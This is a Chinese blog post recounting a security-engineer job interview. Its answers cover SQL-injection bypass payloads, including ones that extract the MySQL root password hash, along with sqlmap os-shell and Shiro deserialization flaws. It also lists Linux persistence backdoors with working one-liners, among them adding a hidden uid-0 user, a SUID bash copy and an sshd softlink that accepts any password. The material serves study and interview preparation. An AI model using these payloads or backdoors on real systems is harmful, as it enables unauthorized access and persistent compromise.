• 面试经验分享 | 驻场安全服务工程师面试


    所面试的公司:某安全厂商
    所在城市:浙江宁波
    面试职位:驻场安全服务工程师

    面试官的问题:

    1、信息收集如何处理子域名爆破的泛解析问题?

    泛域名解析是:*.域名解析到同一IP。
    域名解析是:子域名.域名解析到同一IP。

    解决方式:IP黑名单,首先访问一个随机的并不存在的域,通过返回的结果判断是否存在泛解析,确定存在泛解析后,不断的生成随机域名并发送请求,将每次返回的IP和TTL记录下来,直到大部分的IP出现次数都大于两次,则IP黑名单收集完成。
    而后使用域名字典进行爆破,爆破过程中根据IP黑名单进行过滤,同时比较TTL,在泛解析记录中TTL是相同的,如果TTL不相同,则不是泛解析记录。

    2、访问百度,都涉及到哪些协议?

    HTTP:当你在浏览器中输入百度的网址时,浏览器会发送HTTP请求到百度的服务器,请求获取网页内容。HTTP协议定义了客户端和服务器之间的通信规则和格式。
    DNS:在发送HTTP请求之前,浏览器需要将百度的域名(URL)转换为服务器的IP地址。这个转换过程通过DNS协议实现。浏览器会向DNS服务器发送请求,以查询与百度域名对应的IP地址。
    TCP/IP:TCP/IP协议是互联网通信的基础协议。在打开百度网站时,HTTP请求会被封装在TCP/IP协议中进行传输。TCP协议提供可靠的连接,确保数据的完整性和顺序。IP协议则负责将数据包传输到目标服务器的IP地址。
    SSL/TLS:当使用HTTPS访问百度网站时,通信采用SSL/TLS协议进行加密,确保数据传输的安全性。SSL/TLS协议使用公钥加密和私钥解密的技术,防止数据在传输过程中被窃听或篡改。

    3、sqlmap —os-shell的原理?

    使用此条命令必须获取到目标站点的绝对路径,且当前数据库权限必须是dba,sa。工作原理是使用 into outfile()函数去写一个可以进行文件上传的 php文件,再根据这个文件写了一个木马,通过木马进行命令执行。
    其条件必须具备以下几点:
    1,已知目标站点的绝对路径
    2,已知目标站点的脚本语言
    3,当前数据库权限必须是dba,sa权限

    4、过滤逗号的SQL注入如何绕过?

    在使用盲注的时候,需要使用到substr(),mid(),limit。这些都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

    select substr(database() from 1 for 1);select mid(database() from 1 for 1);

    使用join:

    union select 1,2 #等价于union select from (select 1)a join (select 2)b

    使用like:

    select ascii(mid(user(),1,1))=80 #等价于select user() like ‘r%

    其他绕过方式:

    select from table1 where id =1 and exists (select from table2 where ord(substring(username from 1 for 1)=97);
    127’ UNION SELECT FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)#
    select case when substring((select password from mysql.user where user=’root’) from 1 for 1)=’e’ then sleep(5) else 0 end #
    substring((select password from mysql.user where user=’root’) from -1=’e’

    5、防止XSS攻击,从前端后端两个角度?

    前端:用户输入特殊字符过滤转义为html实体用户输出编码
    后端:实体化编码函数过滤限制字符长度

    6、samesite了解过吗,怎么去防御CSRF
    Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击 和用户追踪(第三方恶意获取cookie),限制第三方 Cookie,从而减少安全风险。

    SameSite属性可以设置三个值:Strict、Lax、None

    Strict:严格,完全禁止第三方获取cookie,跨站点时,任何情况下都不会发送cookie;只有当前网页的 URL 与请求目标一致,才会带上 Cookie。这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。
    Set-Cookie: CookieName=CookieValue; SameSite=Strict;

    Lax:防范跨站,大多数情况下禁止获取cookie,除非导航到目标网址的GET请求(链接、预加载、GET表单);设置了Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
    SameSite属性的默认SameSite=Lax 【该操作适用于2019年2月4号谷歌发布Chrome 80稳定版之后的版本】
    Set-Cookie: CookieName=CookieValue; SameSite=Lax;

    None:没有限制。

    7、Linux常见后门

    这个真的挺多的...

    一句话添加用户和密码
    添加普通用户:
    创建一个用户名guest,密码123456的普通用户

    useradd -p openssl passwd -1 -salt 'salt' 123456 guestuseradd -p 方法   是用来存放可执行的系统命令,”$()”也可以存放命令执行语句useradd -p “$(openssl passwd -1 123456)” guest

    添加root用户:
    创建一个用户名guest,密码123456的root用户

    useradd -p openssl passwd -1 -salt 'salt' 123456 guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

    SUID Shell
    Suid shell是一种可用于以拥有者权限运行的shell。
    配合普通用户权限使用

    cp /bin/bash /tmp/shellchmod u+s /tmp/shell

    使用guest用户登录就可疑获取root权限。

    备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。

    ssh公私钥免密登录
    在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
    客户端:

    ssh-keygen -t rsa

    进入/root/.ssh/文件夹,查看文件夹的内容:
    其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。

    软连接
    在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
    在目标服务器上执行一句话后门:

    ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

    执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

    SSH wrapper
    首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
    简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

    strace后门
    通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

    crontab反弹shell
    crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

    openssh后门
    利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。

    rookit后门
    Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。
    利用方法:安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。

    8、shiro相关漏洞

    shiro550
    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的Cookie,在服务端对rememberMe的Cookie值先base64解码然后AES解密再反序列化(AES是硬编码的),就导致了反序列化RCE漏洞。

    shiro721
    Apache Shiro RememberMe Cookie默认通过AES-128-CBC模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击),利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击。

    先使用合法账号进行登录勾选remember Me然后使用bp抓包,
    然后获取到cookie,将remember me字段复制下利用工具生成恶意的rememberme。

    550和721区别
    550不需要登录,721需要登录获取正确的cookie,550是因为aes密钥是硬编码,所以直接可以构造payload,而721是利用Oracle填充攻击,将正确的cookie作为攻击前缀从而生成攻击payload。
    利用漏洞时550只需要一个url就可以利用工具实现检测和攻击,721需输入url,提供一个有效的rememberMe Cookie。

    面试结果:一面通过,等待二面中。

    面试难度:适中。

    给大家的建议:一定要多多拓展知识的宽度。

     申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

  • 相关阅读:
    TypeScript 第三章:类 class
    【pen200-lab】10.11.1.72
    机器学习笔记之条件随机场(二)HMM vs MEMM
    QT字符串高效拼接原理QStringBuilder
    MQTT云台如何助力分布式农村污水处理的远程管理
    JVM篇---第六篇
    日增进:python性能分析工具line_profiler
    ImmunoChemistry艾美捷高级钙素AM细胞活力试剂盒方案
    [U3D ShaderGraph] 全面学习ShaderGraph节点 | 第三课 | Input/Gradient
    SR-MPLS BE简单配置实例原理
  • 原文地址:https://blog.csdn.net/zkaqlaoniao/article/details/139832627